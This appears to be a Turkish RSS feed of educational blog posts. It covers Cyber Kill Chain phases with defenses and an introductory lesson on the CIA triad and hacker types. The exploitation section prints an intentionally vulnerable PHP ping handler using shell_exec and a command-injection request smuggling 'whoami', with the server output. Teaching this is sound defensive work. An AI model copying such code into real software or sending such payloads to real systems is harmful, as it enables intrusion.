değiştirilebilir:</p><h3>Silahlanma Aşamasında Savunma</h3><p>Silahlanma genellikle saldırganın kendi ortamında gerçekleştiğinden savunma ekibinin bu hazırlık sürecini doğrudan gözlemlemesi mümkün olmayabilir.</p><p><strong>Tehdit İstihbaratı (Threat Intelligence)</strong></p><p>Yeni güvenlik açıklarını kullanan araçların ve zararlı yazılım tekniklerinin takip edilmesidir.</p><p><strong>Dosya Analizi ve Sandbox</strong></p><p>Siber güvenlikte Sandbox, şüpheli dosyaların davranışlarını incelemek amacıyla kullanılan izole test ortamıdır.</p><p><strong>E-posta Güvenliği (Email Security)</strong></p><p>E-posta üzerinden gelen zararlı dosyaların engellenmesini amaçlar.</p><p><em>Özellikle makro içeren belgeler ve </em><em>.exe, </em><em>.scr, </em><em>.vbs gibi şüpheli dosya uzantıları güvenlik açısından kontrol edilir.</em></p><h3>3.Aşama — İletim (Delivery)</h3><h3>A.İletim Nedir?</h3><p>Önceki iki aşamayla bağlantısını düşünelim: Keşifte saldırgan hedefi araştırdı, silahlanmada zararlı içeriği hazırladı. Şimdi ise bu içeriği hedefe ulaştırmaya çalışıyor.</p><p>İletim (Delivery) aşaması, Silahlanma aşamasında hazırlanan zararlı içeriğin (weaponized payload) hedefe ulaştırıldığı kritik adımdır. Saldırganın amacı, hazırladığı zararlıyı kurbanın sistemine sokmak veya kurbanın bu zararlıyı çalıştırmasını sağlamaktır.</p><p>Bu aşama, saldırının sanal dünyadan (saldırganın bilgisayarı) hedefin dünyasına (kurbanın ağı/bilgisayarı) geçiş yaptığı ilk temas noktasıdır.</p><p>Örneğin bir saldırgan zararlı bir Word dosyası hazırlamış olabilir. Ancak bu dosya kendi bilgisayarında durduğu sürece hedefe ulaşmış olmaz.</p><h3>B.İletim Yöntemleri</h3><h4>a. E-posta Yoluyla İletim (Phishing)</h4><p>Saldırgan, güvenilir bir kurumdan geliyormuş gibi görünen e-postalar hazırlar.</p><p>Zararlı ekler: Fatura, dekont veya CV gibi gösterilen PDF, Word, ZIP ya da EXE dosyalarıdır.</p><p>Zararlı linkler: Kullanıcıyı sahte giriş sayfalarına veya zararlı yazılımın indirilebildiği sitelere yönlendirir.</p><p><em>Credential Harvesting: Credential kimlik doğrulamada kullanılan bilgi, harvesting ise toplama anlamına gelir.</em></p><h3>E-posta Header Analizi : SPF, DKIM ve DMARC Nedir?</h3><p>Bu üç sistem, sahte e-postaları tespit etmeye ve e-posta güvenliğini sağlamaya yardımcı olur. Ancak görevleri birbirinden farklıdır.</p><p><strong>1. SPF (Sender Policy Framework)</strong><br>Gönderen sunucunun yetkili olup olmadığını kontrol eder.</p><p>Örneğin bir e-posta bankadan geliyormuş gibi görünüyor. SPF, e-postayı gönderen sunucunun <em>o bankanın alan adı adına gönderim yapmaya yetkili olup olmadığını kontrol eder.</em></p><p>2. <strong>DKIM (DomainKeys Identified Mail)</strong><br>E-postanın dijital imzasını kontrol eder.</p><p>Örneğin bir e-posta gönderildikten sonra içeriği değiştirilmişse DKIM imza doğrulaması başarısız olabilir.</p><p><strong>3. DMARC (Domain-based Message Authentication, Reporting and Conformance)</strong><br>SPF ve DKIM sonuçlarını değerlendirerek alan adı sahibinin belirlediği güvenlik politikasının uygulanmasını sağlar.</p><p>Örneğin doğrulamadan geçemeyen bir <strong>e-posta reddedilebilir veya spam/karantina klasörüne alınabilir.</strong></p><h3>Şüpheli E-posta Örneği</h3><pre>Return-Path: &lt;attacker@bad-domain.com&gt;<br>Received: from mail.bad-domain.com (10.0.0.5)<br>From: &quot;CEO Support&quot; &lt;admin@legit-company.com&gt;<br>Subject: URGENT: Invoice Payment Overdue<br>X-Mailer: PHP/7.4</pre><p>Örnekte From ve Return-Path farklı alan adlarını gösteriyor. Bu durum incelemeye değer bir işarettir ancak tek başına e-postanın sahte olduğunu kanıtlamaz.</p><p>X-Mailer: PHP/7.4 ise e-postanın PHP tabanlı bir yazılım tarafından oluşturulmuş olabileceğini gösterir.</p><h4>b. Web Yoluyla İletim</h4><h3>Drive-by Download</h3><p>Drive-by geçerken gerçekleşen, download ise indirme anlamına gelir.</p><p>Drive-by Download, kullanıcının bir web sitesini ziyaret etmesi sırasında zararlı yazılımın farkında olmadan indirilmesiyle ilgili bir saldırı yöntemidir.</p><h3>Watering Hole</h3><p>Watering Hole kelime anlamıyla hayvanların su içmek için toplandığı yer demektir.</p><p>Siber güvenlikte ise saldırganın, hedef kitlenin sık ziyaret ettiği bir web sitesini ele geçirip zararlı içerik yerleştirmesi anlamına gelir.</p><p>Örneğin bir sektörde çalışanların sürekli ziyaret ettiği haber sitesi olduğunu düşün. Saldırgan bu siteyi ele geçirerek zararlı kod yerleştirir. Hedef kişiler her zamanki gibi siteyi ziyaret ettiğinde saldırıya maruz kalabilir.</p><p><strong>Drive-by Download, zararlı içeriğin web ziyareti sırasında indirilmesine odaklanır.</strong></p><p><strong>Watering Hole, hedef kitlenin sık ziyaret ettiği bir sitenin saldırı amacıyla kullanılmasına odaklanır.</strong></p><h4>c. USB ve Harici Medya (Baiting)</h4><p>Baiting, yem kullanarak kandırma anlamına gelir.</p><h4>USB Rubber Ducky</h4><p>USB Rubber Ducky, bilgisayara klavye gibi davranabilen özel bir USB cihazıdır.</p><p>Normal bir USB bellek gibi görünebilir ancak önceden programlanan klavye girişlerini bilgisayara gönderebilir.</p><p>Windows + R → Windows&#39;un Çalıştır penceresini açan tuş kombinasyonudur.<br>cmd → Windows komut istemcisidir.<br>PowerShell → Komut ve betik çalıştırmak için kullanılabilen Windows aracıdır.</p><h3>C. İletim Aşamasına Örnek</h3><p>Bir şirketin İK departmanı iş başvuruları alıyor.</p><p>Saldırgan, cv-john-doe.doc isimli zararlı makro içeren bir Word dosyası hazırlıyor.</p><p>Daha sonra applicant@freemail.com adresinden İK müdürüne &quot;İş Başvurusu&quot; başlıklı bir e-posta gönderiyor.</p><p>Mesajda CV’sinin ekte olduğunu belirtiyor.</p><p>İK müdürü e-postayı açıp dosyayı indirdiğinde zararlı içerik hedefe ulaşmış oluyor.</p><p>Bu, iletim aşamasının gerçekleştiğini gösterir. Dosyanın indirilmesi, zararlı makronun mutlaka çalıştığı anlamına gelmez.</p><h3>İletim Aşamasında Savunma</h3><p>Bu aşama, saldırı hedefe ulaşmaya çalıştığı için savunma açısından önemli fırsatlar sunar.</p><h4>E-posta Güvenlik Ağ Geçitleri (Email Security Gateway)</h4><p>Bu sistemler gelen e-postaları kontrol etmek için kullanılır.<br>Şüpheli ekler Sandbox ortamında incelenebilir.</p><p><strong>Sandbox izole edilmiş test ortamıdır. Şüpheli dosyaların davranışlarını incelemek amacıyla kullanılır.</strong></p><p>Ayrıca SPF, DKIM ve DMARC kontrolleri uygulanabilir.</p><h4>Web Proxy ve URL Filtreleme</h4><p>Proxy, <strong>istemci ile hedef sistem arasında aracılık yapan sistemdir.</strong><br>URL Filtering, web adreslerinin belirli güvenlik kurallarına göre filtrelenmesidir.</p><p>Bu yöntemlerle bilinen zararlı alan adlarına veya IP adreslerine erişim engellenebilir.</p><h4>USB Kısıtlamaları</h4><p>Kurumsal bilgisayarlarda USB üzerinden veri aktarımı sınırlandırılabilir.</p><h3>4.Aşama — Sömürü (Exploitation)</h3><h3>A. Sömürü Nedir?</h3><p>Önceki aşamada saldırgan zararlı içeriği hedefe ulaştırıyordu. Bu aşamada ise sistemdeki güvenlik açığından yararlanarak normalde yapamaması gereken işlemleri gerçekleştirmeye çalışıyor.</p><p>Sömürü, saldırganın hedef sistemdeki bir güvenlik açığını kullanarak sistemin beklenmedik şekilde davranmasını sağlamasıdır.</p><p><em>Exploitation, İngilizcede bir şeyden yararlanma veya onu kendi çıkarı için kullanma anlamına gelir.</em></p><p>Siber güvenlikte ise <strong>bir zafiyetin kullanılması </strong>anlamında karşımıza çıkar.</p><p>Örneğin bir web uygulamasında kullanıcıdan alınan veriler doğru kontrol edilmiyorsa saldırgan bu hatadan yararlanabilir.</p><p>Burada iki kavramı ayıralım:</p><p>1 — Vulnerability (Zafiyet): Sistemde bulunan güvenlik açığıdır.</p><p>2 — Exploit (Sömürü Kodu): Bu güvenlik açığından yararlanmak için kullanılan kod veya tekniktir.</p><p><strong>Yani zafiyet sistemdeki hatadır, exploit ise o hatadan yararlanma yöntemidir.</strong></p><h3>B. Sömürüde Kullanılan Zafiyet Türleri</h3><h4>1) İşletim Sistemi ve Servis Zafiyetleri</h4><p>Örneğin, Windows SMB protokolündeki bir zafiyet (MS17–010 — EternalBlue), WannaCry fidye yazılımı saldırısında kullanılmıştır. Bu zafiyet, uzaktan kod çalıştırmaya (RCE — Remote Code Execution) izin verir.</p><p>SMB (Server Message Block), bilgisayarların<strong> ağ üzerinden dosya ve klasör paylaşmasını sağlayan bir iletişim protokolüdür.</strong></p><ul><li>A bilgisayarında bir klasör bulunuyor.</li><li>B bilgisayarı, ağ üzerinden A’nın paylaşıma açtığı klasöre erişebiliyor.</li></ul><p>İşte bu dosya paylaşımında SMB kullanılabilir.</p><h4>Peki MS17–010 nedir?</h4><p>Windows’ta kullanılan SMB sisteminin bazı eski sürümlerinde bir güvenlik açığı bulunuyordu.</p><p>Microsoft bu güvenlik açığıyla ilgili yayımladığı güvenlik bültenine MS17–010 adını verdi.</p><p>Yani MS17–010 bir virüs değil, <strong>bir güvenlik açığıyla ilgili Microsoft güvenlik bülteninin kodudur.</strong></p><h4>EternalBlue nedir?</h4><p>EternalBlue, bu güvenlik açığından yararlanmak için kullanılan bir <strong>exploit yani sömürü aracıdır.</strong></p><h4>WannaCry nedir?</h4><p>WannaCry, dosyaları şifreleyerek kullanılmaz hâle getiren bir<strong> fidye yazılımıdır. </strong>2017&#39;deki WannaCry saldırılarında EternalBlue kullanılarak güvenlik açığı bulunan Windows bilgisayarlara yayılındı.</p><h4>RCE nedir?</h4><p>RCE (Remote Code Execution), uzaktan kod çalıştırma anlamına gelir.</p><p>Örneğin bir saldırgan kendi bilgisayarında otururken, başka bir bilgisayardaki güvenlik açığını kullanarak o bilgisayara komut çalıştırabiliyorsa buna RCE denir.</p><p>EternalBlue, Windows’un SMB güvenlik açığından yararlanarak uzaktan kod çalıştırılmasını sağlayabilen bir exploit’tir. WannaCry da bu yöntemden yararlanmıştır.</p><h4>2) Web Uygulama Zafiyetleri</h4><p>Web uygulamalarında kullanıcıdan gelen verilerin doğru kontrol edilmemesi nedeniyle oluşabilen güvenlik açıklarıdır.</p><ol><li>SQL Injection (SQLi): Veritabanı sorgularına müdahale edilmesidir.</li><li>XSS (Cross-Site Scripting): Web uygulamasındaki bir açıktan yararlanılarak <strong>kullanıcının tarayıcısında</strong> istenmeyen kod çalıştırılmasıdır.</li><li>RCE (Remote Code Execution): Hedef sunucuda u<strong>zaktan kod çalıştırılabilmesidir.</strong></li></ol><h4>3) İstemci Taraflı Zafiyetler (Client-Side)</h4><p>Client, istemci; side ise taraf anlamına gelir.</p><p>İstemci taraflı zafiyetler, kullanıcının bilgisayarında çalışan yazılımlardaki güvenlik açıklarıdır.</p><p>Örneğin PDF okuyucular, tarayıcılar veya Office programlarında güvenlik açıkları bulunabilir.</p><p>Kullanıcının zararlı bir dosyayı açması, bu açıklardan birinin tetiklenmesine neden olabilir.</p><h3>C. Sömürü Nasıl Gerçekleşir? — Command Injection (Komut Enjeksiyonu)</h3><p><strong>Command Injection</strong>, kullanıcıdan alınan bilgilerin kontrol edilmeden sistem komutlarına eklenmesi sonucunda, saldırganın normalde çalıştırılmaması gereken komutları çalıştırabilmesidir.</p><p>Bunu bir web sitesi üzerinden inceleyelim.</p><h4>1. Normal İşlem (Payloadsız İstek)</h4><p>vulnerable-site.com adında bir web sitesi olduğunu düşünelim.</p><p>Bu sitede kullanıcı bir IP adresi giriyor ve sistem, o adrese ulaşılıp ulaşılamadığını kontrol etmek için ping komutunu çalıştırıyor.</p><p><em>Ping, bir cihazın ağ üzerinden erişilebilir olup olmadığını kontrol etmeye yarayan komuttur.</em></p><p>Kullanıcı 8.8.8.8 IP adresini girdiğinde sunucuya şu HTTP isteği gönderilir:</p><pre>POST /ping.php HTTP/1.1<br>Host: vulnerable-site.com<br>Content-Type: application/x-www-form-urlencoded</pre><pre>ip=8.8.8.8</pre><p>Burada:</p><p><strong>POST:</strong> Sunucuya veri göndermek için kullanılan HTTP yöntemidir.<br><strong>Host:</strong> İsteğin gönderildiği web sitesini belirtir.<br><strong>Content-Type:</strong> Gönderilen verinin biçimini belirtir.<br><strong>ip=8.8.8.8:</strong> Kullanıcının girdiği IP adresidir.</p><p><strong>Yani kullanıcı yalnızca bir IP adresi gönderiyor ve sistemden bağlantıyı kontrol etmesini istiyor.</strong></p><h4>2. Güvenlik Açığı Nerede?</h4><p>Web sitesinin arka planında çalışan PHP kodu şu şekildedir:</p><pre>&lt;?php<br>    $ip = $_POST[&#39;ip&#39;];<br>    // Girdi filtrelenmeden doğrudan shell komutuna ekleniyor!<br>    $output = shell_exec(&quot;ping -c 4 &quot; . $ip);<br>    echo $output;<br>?&gt;</pre><p><strong>$_POST[&#39;ip&#39;]</strong> kullanıcının gönderdiği IP adresini alır.<br><strong>$ip</strong> bu değeri bir değişkende saklar.<br><strong>shell_exec()</strong> işletim sistemi üzerinde komut çalıştırır.<br><strong>ping -c 4</strong> belirtilen adrese dört ping isteği gönderir.<br><strong>echo $output</strong> komutun sonucunu ekranda gösterir.</p><p>Normal şartlarda sunucu şu komutu çalıştırır:</p><p>ping -c 4 8.8.8.8</p><p>Ancak burada önemli bir güvenlik açığı bulunuyor.</p><p><strong>Kullanıcının girdiği veri kontrol edilmeden doğrudan işletim sistemi komutuna ekleniyor.</strong></p><p>Yani sistem, kullanıcının yalnızca IP adresi girdiğinden emin olmuyor.</p><h4>3. Sömürü (Payloadlı İstek)</h4><p>Saldırgan bu güvenlik açığını fark ediyor.</p><p>Normalde kullanıcı yalnızca 8.8.8.8 yazarken, saldırgan aynı alana şu ifadeyi giriyor:</p><p>8.8.8.8; whoami</p><p>Burada iki önemli ayrıntı var:</p><p><strong>; (Noktalı virgül):</strong> Bu örnekte kullanılan kabuk ortamında iki komutu birbirinden ayırır.</p><p><strong>whoami:</strong> Komutun hangi kullanıcı hesabının yetkileriyle çalıştırıldığını gösterir.</p><p>Saldırganın sunucuya gönderdiği HTTP isteği şu şekildedir:</p><pre>POST /ping.php HTTP/1.1<br>Host: vulnerable-site.com<br>Content-Type: application/x-www-form-urlencoded</pre><pre>ip=8.8.8.8; whoami</pre><p>Peki burada ne değişti?</p><p>Normalde sunucu yalnızca ping komutunu çalıştırmalıydı. Ancak saldırgan IP adresinin yanına ikinci bir komut ekledi.</p><p>PHP kodu kullanıcı girdisini kontrol etmediği için işletim sistemine şu komut gönderiliyor:</p><p>ping -c 4 8.8.8.8; whoami</p><p><strong>Böylece sunucu önce ping işlemini, ardından </strong><strong>whoami komutunu çalıştırıyor.</strong></p><p><strong>Saldırgan web sitesinin PHP kodunu değiştirmedi. Yalnızca kullanıcı giriş alanına farklı bir değer yazarak güvenlik açığından yararlandı.</strong></p><h4>4. Sömürü Sonrası Sunucunun Yanıtı</h4><p>Sunucu, çalıştırılan komutların sonucunu şu şekilde döndürüyor:</p><pre>HTTP/1.1 200 OK<br>Content-Type: text/html</pre><pre>PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.<br>64 bytes from 8.8.8.8: icmp_seq=1 ttl=118 time=13.2 ms<br>...<br>--- 8.8.8.8 ping statistics ---<br>4 packets transmitted, 4 received, 0% packet loss</pre><pre>www-data</pre><p>Çıktıyı inceleyelim.</p><p><strong>HTTP/1.1 200 OK:</strong> HTTP isteğinin başarılı şekilde işlendiğini belirten durum kodudur.</p><p><strong>PING 8.8.8.8:</strong> Sunucunun ping işlemini gerçekleştirdiğini gösterir.</p><p><strong>4 packets transmitted, 4 received:</strong> Dört paket gönderildiğini ve dört yanıt alındığını belirtir.</p><p>Ancak asıl önemli bölüm en alttaki ifadedir:</p><p><strong>www-data</strong></p><p>Bu, bazı Linux sistemlerinde web sunucusunun kullandığı kullanıcı hesabıdır.</p><p>Bu çıktının görünmesi, sunucunun saldırgan tarafından eklenen whoami komutunu da çalıştırdığını gösterir.</p><p>Yani normalde yalnızca IP adresini kontrol etmesi gereken uygulama, saldırganın eklediği farklı bir komutu da çalıştırmıştır.</p><p><strong>İşte bu noktada Command Injection zafiyeti başarıyla sömürülmüş olur.</strong></p><p>Saldırgan bu tür bir açıktan yararlanarak daha zararlı komutlar çalıştırmayı da deneyebilir. Örneğin wget ve curl gibi dosya indirme araçları, zararlı yazılımın hedef sisteme ulaştırılması amacıyla kötüye kullanılabilir.</p><h4>Sonuç: Bu Örnekte Ne Öğrendik?</h4><p>Bu senaryoda üç temel kavram bulunuyor.</p><p><strong>Vulnerability (Zafiyet):</strong> PHP kodunun kullanıcıdan gelen bilgileri kontrol etmeden sistem komutuna eklemesi.</p><p><strong>Exploit (Sömürü Yöntemi):</strong> Saldırganın bu güvenlik açığından yararlanmak için özel hazırlanmış bir girdi göndermesi.</p><p><strong>Exploitation (Sömürü):</strong> Sunucunun saldırganın eklediği whoami komutunu gerçekten çalıştırması.</p><p>Kısacası, <strong>Command Injection saldırısında sorun, kullanıcının farklı bir şey yazabilmesi değil; uygulamanın bu girdiyi güvenli biçimde işlemeyerek sistem komutu olarak çalıştırmasıdır.</strong></p><h3>Bellek Bozulması (Memory Corruption) — Buffer Overflow</h3><p>Buffer Overflow, bir programın ayırdığı <strong>bellek alanına kapasitesinden fazla veri yazılmasıyla oluşan taşmadır.</strong></p><p>Buffer: Verilerin geçici olarak tutulduğu bellek alanı.<br>Overflow: Taşma, kapasiteyi aşma.</p><p>Örneğin programın 10 karakterlik bir alan ayırdığını düşün.</p><p>Ancak program girilen verinin uzunluğunu kontrol etmiyor ve bu alana 30 karakter yazılmasına izin veriyor.</p><p>Bu durumda fazla veri, ayrılan alanın dışındaki bellek bölgelerini etkileyebilir.</p><p>Stack (Yığın): Programın çalışması sırasında kullanılan bir bellek bölgesidir.</p><p>Return Address (Dönüş Adresi): Bir fonksiyon tamamlandığında programın hangi noktadan devam edeceğini belirten adrestir.</p><p>Saldırgan, bellek taşması sonucunda dönüş adresini değiştirebilirse programın normal akışını bozabilir ve başka kodların çalıştırılmasına neden olabilir.</p><p>Buradaki temel mesele, programın belleğe yazılan veri miktarını kontrol etmemesidir.</p><h3>Sömürü Aşamasında Savunma</h3><p>Sömürü aşamasını engellemek için sistemlerin “zafiyetsiz” veya “sıkılaştırılmış” (hardened) olması gerekir.</p><h4>1) Yama Yönetimi (Patch Management)</h4><p>Patch yama veya düzeltme, management yönetim anlamına gelir.</p><p>Yama yönetimi, yazılımlardaki bilinen güvenlik açıklarını gidermek için güncellemelerin uygulanmasıdır.</p><p>Örneğin EternalBlue zafiyeti için yayımlanan güvenlik güncellemesi bu konuya örnektir.</p><h4>2) Girdi Doğrulama (Input Validation)</h4><p>Input girdi, validation doğrulama anlamına gelir.</p><p>Kullanıcının sisteme gönderdiği bilgilerin kontrol edilmesidir.</p><p>Örneğin yalnızca IP adresi bekleyen bir alanın başka türde girdileri kabul etmemesi gerekir.</p><h4>3) DEP (Data Execution Prevention)</h4><p>Türkçesi Veri Yürütme Engellemesi.</p><p>DEP, belleğin veri için ayrılmış belirli bölgelerinde kod çalıştırılmasını engellemeyi amaçlar.</p><h4>4) ASLR (Address Space Layout Randomization)</h4><p>Türkçesi Adres Alanı Yerleşim Düzeninin Rastgeleleştirilmesi.</p><p>ASLR, bellekteki belirli yapıların adreslerini rastgeleleştirerek saldırganın doğru bellek adresini tahmin etmesini zorlaştırır.</p><h4>DEP, belirli bellek bölgelerinde kod çalıştırılmasını engellemeye odaklanır.<br>ASLR, bellek adreslerinin tahmin edilmesini zorlaştırır.</h4><h4>4) WAF (Web Application Firewall)</h4><p>Web uygulamalarına yönelik zararlı istekleri tespit etmeye ve engellemeye yardımcı olur.</p><p>Örneğin SQL Injection ve XSS gibi saldırı girişimlerini filtrelemek için kullanılabilir.</p><h4>5) EDR (Endpoint Detection and Response)</h4><p>Türkçesi Uç Nokta Tespit ve Müdahale.</p><ul><li>EDR, bilgisayar gibi uç noktalardaki şüpheli faaliyetleri izlemek, tespit etmek ve bunlara müdahale etmek için kullanılır.</li></ul><p>Örneğin Word uygulamasının beklenmedik şekilde PowerShell çalıştırması şüpheli bir davranış olabilir.</p><p>EDR bu tür faaliyetlerin tespit edilmesine ve durdurulmasına yardımcı olabilir.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a32f8c51fdf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[1 — Siber Güvenliğe Giriş]]></title>
            <link>https://medium.com/@hifaoner/1-siber-g%C3%BCvenli%C4%9Fe-giri%C5%9F-8600b503b87d?source=rss-4e8ed61e3c70------2</link>
            <guid isPermaLink="false">https://medium.com/p/8600b503b87d</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Hifa Nur Oner | Design & Tech & Cybersecurity]]></dc:creator>
            <pubDate>Sun, 15 Nov 2026 09:33:58 GMT</pubDate>
            <atom:updated>2026-11-15T09:33:58.146Z</atom:updated>
            <content:encoded><![CDATA[<p>Siber güvenliği anlamak için önce bilgi kavramını anlamamız gerekiyor. Bilgi, genellikle, geçerliliği veya doğruluğu varsayılacak şekilde mümkün olan en yüksek kesinlik derecesi ile karakterize edilen en basit hâliyle, bir şey hakkında anlam çıkarmamızı sağlayan veriler ve gerçeklerdir.</p><p>Mesela:</p><p>25 → Tek başına bir sayı. (Data)<br>Hava sıcaklığı 25°C → Artık anlam taşıyan bir bilgi. (Information)</p><ul><li><em>Data: Latince datum (verilen şey) kelimesinden gelir.</em></li><li><em>Information: Latince informare (biçim vermek, şekillendirmek) fiiline dayanır.</em></li></ul><p>Buradaki temel fikir şu: Veriyi anlamlandırdığımızda bilgi elde ederiz.</p><h3>1 — GİRİŞ</h3><h4>Bilgi Güvenliği</h4><p>Bilgi güvenliği, bilgiyi yetkisiz kişilere ve istenmeyen işlemlere karşı korumaktır. Ama burada önemli bir ayrıntı var: Bilgiyi korumak yalnızca birinin onu çalmasını önlemek değildir.</p><p>Örneğin bir hastanenin hasta kayıtlarını düşün.</p><p>Bir kişinin bu kayıtları izinsiz okumasını istemeyiz. Ancak aynı zamanda kayıtları değiştirmesini, silmesini veya doktorların gerektiğinde bu kayıtlara ulaşamamasını da istemeyiz.</p><p>İşte bilgi güvenliği bütün bunları kapsar.</p><ul><li><em>Security: Güvenlik. Latince securus kelimesine dayanır. Se- (olmaksızın) ve cura (kaygı, endişe) parçalarıyla ilişkilidir.</em></li></ul><p>Bir de önemli ayrım var: Bilgi güvenliği yalnızca dijital verileri kapsamaz. Kâğıt üzerindeki bir hasta dosyasının korunması da <strong>bilgi güvenliğidir.</strong></p><h3>Bilgi Güvenliği İlkeleri: CIA Üçlüsü (CIA Triad)</h3><p>Şimdi siber güvenliğin en temel kavramlarından birine geldik. CIA, bilgi güvenliğinin üç temel ilkesini ifade ediyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4hfYuU3ZqQdBQNyOP3h5WQ.png" /></figure><h4>C — Confidentiality (Gizlilik)</h4><p>Bilgiye <strong>yalnızca izin verilen kişilerin erişebilmesi </strong>demektir.</p><p>Mesela telefonunun ekran kilidi var. Şifreni bilmeyen birinin mesajlarını okumasını istemiyorsun. Burada korumaya çalıştığın şey bilginin gizliliği.</p><ul><li><em>Confide: Birine güvenmek, sır vermek. Confidential: Gizli, özel, güven içinde paylaşılan.</em></li></ul><h4>I — Integrity (Bütünlük)</h4><p>Bilginin doğru ve bozulmamış biçimde kalmasıdır.</p><p>Örneğin banka hesabında 5.000 TL var. Birisi sistemdeki kayıtları izinsiz değiştirip bakiyeni 500 TL olarak gösterirse bilginin bütünlüğü bozulmuş olur.</p><p>Burada bilgi çalınmak zorunda değil. <em>Değiştirilmesi bile</em> bir güvenlik sorunudur.</p><p><em>Integrity, Latince integritas kelimesinden gelir ve bütünlük, bozulmamışlık anlamlarını taşır.</em></p><h4>A — Availability (Erişilebilirlik)</h4><p>Bilginin veya sistemin ihtiyaç duyulduğunda yetkili kişiler tarafından kullanılabilir olmasıdır.</p><p>Örneğin hastanenin hasta kayıtları güvenli bir şekilde saklanıyor ama doktorlar sistem çöktüğü için kayıtlara ulaşamıyor. Bilgiler çalınmadı, değiştirilmedi. Ancak erişilemiyor.</p><p><strong>Bu da bir güvenlik problemidir.</strong></p><p><em>Available: Kullanılabilir, erişilebilir, mevcut.</em></p><p>Bu üç ilke birbirini tamamlar. Bir sistemin güvenli olabilmesi için yalnızca bilgileri gizlemesi yeterli değildir; onların doğruluğunu ve gerektiğinde erişilebilirliğini de koruması gerekir.</p><p>Bilgi güvenliği, hem fiziksel dokümanların hem de elektronik verilerin korunmasını içerir. Günümüzde, özellikle internetin yaygın kullanımıyla birlikte, bilgi güvenliği hem bireyler hem de kurumlar için hayati önem taşır.</p><h3>2 — HACKER</h3><h4>Hack Nedir?</h4><p>Hack kelimesi en basit tanımıyla <strong><em>bir sistemi alışılmış veya beklenen yöntemlerin dışında kullanmak ya da değiştirmektir.</em></strong></p><p>Örneğin bir problemi herkes uzun bir yöntemle çözerken sen daha kısa ve yaratıcı bir yol bulabilirsin. Bu da metnindeki<strong> geniş hack anlayışına</strong> örnektir.</p><h4>Hacker Kimdir ve Türleri Nelerdir?</h4><p>Hacker, bilgisayar sistemlerini ve ağlarını iyi tanıyan, teknik bilgisini farklı amaçlarla kullanabilen kişidir.</p><p>Hackerları birbirinden ayıran temel şeylerden biri, bilgilerini hangi amaçla ve nasıl kullandıklarıdır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bupnvWp7OGW8_CpbqDk7Cg.png" /></figure><p><strong>1: White Hat — Beyaz Şapkalı Hacker</strong></p><p>İyi niyetlidir. Sistemlerdeki güvenlik açıklarını bulur ve düzeltilmesine yardımcı olur.</p><p><em>Örnek: Bir şirketin izniyle sistemini inceler ve bulduğu güvenlik açığını şirkete bildirir.</em></p><p><strong>2: Black Hat — Siyah Şapkalı Hacker</strong></p><p>Kötü niyetlidir. Sistemlere izinsiz girerek bilgi çalabilir, zarar verebilir veya zararlı yazılım yayabilir.</p><p><strong>3: Grey Hat — Gri Şapkalı Hacker</strong></p><p>İyi ve kötü niyetli hackerlar arasında konumlanır. Amacı zarar vermek olmayabilir fakat bazen izinsiz işlemler yapabilir.</p><p><em>Örnek: Bir şirketten izin almadan sistemindeki açığı bulup daha sonra şirkete haber vermesi.</em></p><p>Burada özellikle beyaz şapkalı ve gri şapkalı hacker arasındaki farkı anlamanı istiyorum. İkisi de güvenlik açığı bulabilir. Fakat beyaz şapkalı hacker yetkili ve izinli şekilde çalışırken, gri şapkalı hacker i<em>zin almadan da hareket edebilir.</em></p><p>İyi niyetli olmak, kullanılan yöntemin mutlaka doğru veya yasal olduğu anlamına gelmez.</p><h4>Etik Hacker (Ethical Hacker)</h4><p>Etik hacker,<em> bilgisayar sistemlerinin güvenliğini test etmek ve güçlendirmek için çalışan</em><strong> beyaz şapkalı hackerdır.</strong></p><p>Yani etik hacker, teknik bilgisini güvenliği artırmak amacıyla ve etik sorumluluk çerçevesinde kullanır.</p><h4>Etik hacker ne yapar?</h4><p>1. Sızma testi : Sistemin güvenliğini test ederek saldırganların kullanabileceği açıkları bulmaya çalışır.</p><p>2. Zafiyet analizi : Sistemin zayıf noktalarını belirler.</p><p>3. Risk değerlendirmesi :Bulunan zayıflıkların oluşturabileceği tehlikeleri değerlendirir.</p><p>Bu üç faaliyetin ortak amacı, saldırganlar güvenlik açıklarını kötüye kullanmadan önce bu açıkları tespit etmek ve düzeltilmesini sağlamaktır.</p><h3>3— SİBER GÜVENLİĞİN ALT ALANLARI</h3><h3>1. Uygulama Güvenliği (Application Security)</h3><p>Bir yazılımın çalışıyor olması, onun güvenli olduğu anlamına gelmez. Yazılımda saldırganların kullanabileceği hatalar veya güvenlik açıkları bulunabilir. Uygulama güvenliği bu açıkları bulmaya ve düzeltmeye odaklanır.</p><p>Örneğin bir alışveriş uygulaması geliştiriyorsun. Uygulama kullanıcıların <strong>bilgilerini koruyamıyorsa burada bir güvenlik sorunu vardır</strong>. Uygulama güvenliği bu tür sorunların önüne geçmeyi amaçlar.</p><p>Bu alanda güvenlik testleri yapılır ve güvenli kod geliştirme standartları kullanılır.</p><h4>Web Uygulama Güvenliği (Web Application Security)</h4><p>Bu alan, uygulama güvenliğinin özellikle web üzerinden çalışan uygulamalarla ilgilenen kısmıdır. Bu alanda, <em>SQL Injection, XSS, CSRF ve IDOR </em>gibi zafiyetler en sık karşılaşılan zafiyetlerdir.</p><p>Örneğin internet tarayıcısından giriş yaptığın bir alışveriş sitesini düşün. Bu sitenin kullanıcı bilgilerini ve işlemlerini korumak gerekir.</p><p><strong>Bu güvenlik açıklarını bulmak için Pentest (Penetration Testing) yapılır.</strong><em>(Penetration kelimesi nüfuz etme, içine girme; testing ise test etme anlamına gelir.) </em><strong>Yani pentest, sistemdeki güvenlik açıklarını tespit etmek amacıyla gerçekleştirilen sızma testidir.</strong></p><h3>2. Ağ Güvenliği (Network Security)</h3><p>Ağ güvenliği, ağ üzerindeki iletişimi ve kaynakları saldırılara karşı korumaktır.</p><p>Örneğin bir şirkette çok sayıda bilgisayarın aynı ağa bağlı olduğunu düşün. Bu bilgisayarlar arasında veri aktarılır. Ağ güvenliği, bu iletişimin güvenli olmasını ve yetkisiz kişilerin ağa erişememesini amaçlar.</p><p>Bu alanda 